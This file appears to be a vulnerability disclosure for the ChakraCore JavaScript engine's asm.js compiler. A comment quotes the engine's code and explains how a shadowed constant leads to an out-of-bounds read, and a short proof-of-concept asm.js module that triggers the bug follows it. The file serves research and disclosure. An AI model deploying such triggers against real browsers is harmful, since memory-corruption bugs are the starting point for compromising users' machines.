40 lines
No EOL
1.3 KiB
JavaScript
40 lines
No EOL
1.3 KiB
JavaScript
/*
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Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
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AsmJsVar * initSource = nullptr;
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if (decl->sxVar.pnodeInit->nop == knopName)
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{
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AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
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if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
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{
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// in this case we are initializing with value of a constant var
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initSource = initSym->Cast<AsmJsVar>();
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}
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...
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}
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...
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if (initSource)
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{
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if (var->GetType().isDouble())
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{
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mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
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}
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Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
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1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
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2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.
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PoC:
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*/
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function createModule() {
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'use asm';
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const a = 1.0;
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function f() {
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var b = a;
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var a = 0;
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}
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return f;
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}
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var f = createModule();
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f(); |